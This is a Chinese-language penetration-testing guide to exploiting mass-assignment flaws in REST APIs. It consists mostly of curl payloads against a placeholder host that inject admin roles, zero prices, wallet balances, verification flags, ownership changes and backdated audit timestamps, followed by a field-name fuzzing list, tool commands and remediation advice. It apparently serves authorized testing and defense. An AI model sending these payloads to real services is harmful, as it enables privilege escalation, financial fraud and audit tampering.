exploiting-mass-assignment-in-rest-apis

# 利用 REST API 中的批量赋值漏洞（Exploiting Mass Assignment in REST APIs）

## 适用场景
- 测试接受 JSON 输入用于创建或更新资源的 REST API 时
- 在使用 ORM 框架（Rails、Django、Laravel、Spring）的应用程序 API 安全评估期间
- 测试用户注册、个人资料更新或账户管理端点时
- 在具有 CRUD API 操作的应用程序漏洞奖励计划中
- 评估 API 驱动应用程序中基于角色的访问控制实现时

## 前置条件
- 用于 API 请求构建和拦截的 Burp Suite 或 Postman
- 了解常见框架中的 ORM 自动绑定行为
- 通过侦察获取 API 文档或端点发现
- 具有不同权限级别的多个用户账户用于测试
- 了解常见敏感字段（role、isAdmin、verified、balance、price）
- 用于隐藏参数发现的 Arjun 或 param-miner

## 工作流程

### 步骤 1：发现 API 结构和字段
```bash
# 检查 API 响应以识别所有对象字段
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
# 响应揭示字段：id、username、email、role、isAdmin、verified、balance

# 检查 API 文档中暴露的模式
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml

# 使用 Arjun 发现隐藏参数
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"

# 比较创建/更新请求体与响应体
# 响应可能包含比请求发送更多的字段
# 这些额外字段是批量赋值候选者
```

### 步骤 2：通过角色字段测试权限提升
```bash
# 在个人资料更新中注入角色/管理员字段
curl -X PUT http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","email":"test@test.com","role":"admin"}'

# 尝试常见管理员字段名
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"isAdmin":true}'

curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'

# 在注册期间测试
curl -X POST http://target.com/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'
```

### 步骤 3：测试财务和业务逻辑字段
```bash
# 修改价格或余额字段
curl -X POST http://target.com/api/orders \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id":1,"quantity":1,"price":0.01}'

# 修改账户余额
curl -X PATCH http://target.com/api/wallet \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"balance":999999}'

# 修改折扣或优惠券字段
curl -X POST http://target.com/api/checkout \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'

# 修改订阅级别
curl -X PATCH http://target.com/api/subscription \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"plan":"enterprise","price":0}'
```

### 步骤 4：测试验证和状态字段
```bash
# 绕过电子邮件验证
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email_verified":true,"verified":true,"active":true}'

# 修改账户状态
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"status":"active","banned":false,"suspended":false}'

# 修改所有权/组织
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'
```

### 步骤 5：测试关系和外键操纵
```bash
# 更改资源所有权
curl -X PATCH http://target.com/api/documents/123 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"owner_id":"admin-user-id"}'

# 分配到不同组/团队
curl -X PATCH http://target.com/api/projects/456 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"team_id":"privileged-team","access_level":"write"}'

# 修改 created_at/updated_at 以操纵审计日志
curl -X PATCH http://target.com/api/entries/789 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"created_at":"2020-01-01","created_by":"other-user-id"}'
```

### 步骤 6：自动化批量赋值测试
```bash
# 使用 Burp Intruder 配合字段名字典
# 常见批量赋值字段字典：
# role、admin、isAdmin、is_admin、user_type、privilege、level
# verified、email_verified、active、banned、suspended
# balance、credits、price、discount、plan、tier
# owner_id、organization_id、team_id、group_id

# Python 自动化脚本
python3 mass_assignment_tester.py \
  --url http://target.com/api/users/me \
  --method PATCH \
  --token "Bearer USER_TOKEN" \
  --fields-file mass_assignment_fields.txt

# Nuclei 批量赋值模板
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/mass-assignment.yaml
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| 批量赋值（Mass Assignment） | ORM 将请求参数自动绑定到模型属性而不加限制 |
| 自动绑定（Autobinding） | 将 HTTP 参数直接映射到对象属性的框架功能 |
| 允许列表（Allowlist） | 用于更新操作的服务器端允许字段列表（Rails 中的 strong_parameters） |
| 拒绝列表（Denylist） | 禁止字段列表（不如允许列表方法安全） |
| 隐藏字段（Hidden Fields） | 服务器管理的字段（role、balance），不在表单中显示但被 API 接受 |
| DTO（数据传输对象）| 使用单独对象分离输入和数据库以防止批量赋值的模式 |
| 参数污染（Parameter Pollution） | 在合法参数旁边发送意外的额外参数 |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| Burp Suite | API 请求拦截和参数注入 |
| Postman | API 测试和基于集合的批量赋值测试 |
| Arjun | API 端点的隐藏参数发现工具 |
| param-miner | 用于发现隐藏参数的 Burp 扩展 |
| OWASP ZAP | 带参数注入的自动化 API 扫描 |
| swagger-codegen | 从 OpenAPI 规范生成用于测试的 API 客户端 |

## 常见场景

1. **管理员权限提升** — 在个人资料更新中注入 `"role":"admin"` 或 `"isAdmin":true` 以获取管理员访问权限
2. **价格操纵** — 在订单创建端点中修改 `price` 或 `discount` 字段以较低价格购买商品
3. **电子邮件验证绕过** — 在注册或个人资料更新期间设置 `email_verified:true` 以绕过验证要求
4. **账户接管** — 将 `email` 或 `phone` 字段修改为攻击者控制的值，然后触发密码重置
5. **订阅升级** — 在订阅更新中注入 `plan:"enterprise"` 以无需付款获取高级功能

## 输出格式

```
## 批量赋值漏洞报告
- **目标**: http://target.com/api/users/me
- **方法**: PATCH
- **框架**: Ruby on Rails（通过 X-Powered-By 检测）

### 发现
| # | 端点 | 注入字段 | 原始值 | 修改值 | 影响 |
|---|----------|---------------|----------|----------|--------|
| 1 | PATCH /api/users/me | role | "user" | "admin" | 权限提升 |
| 2 | POST /api/orders | price | 99.99 | 0.01 | 财务损失 |
| 3 | PATCH /api/users/me | email_verified | false | true | 验证绕过 |

### 修复建议
- 为所有模型更新操作实施允许列表（strong_parameters）
- 使用 DTO/ViewModel 将 API 输入与数据库模型解耦
- 对敏感属性应用字段级授权检查
- 记录并警报尝试修改受限字段的行为
```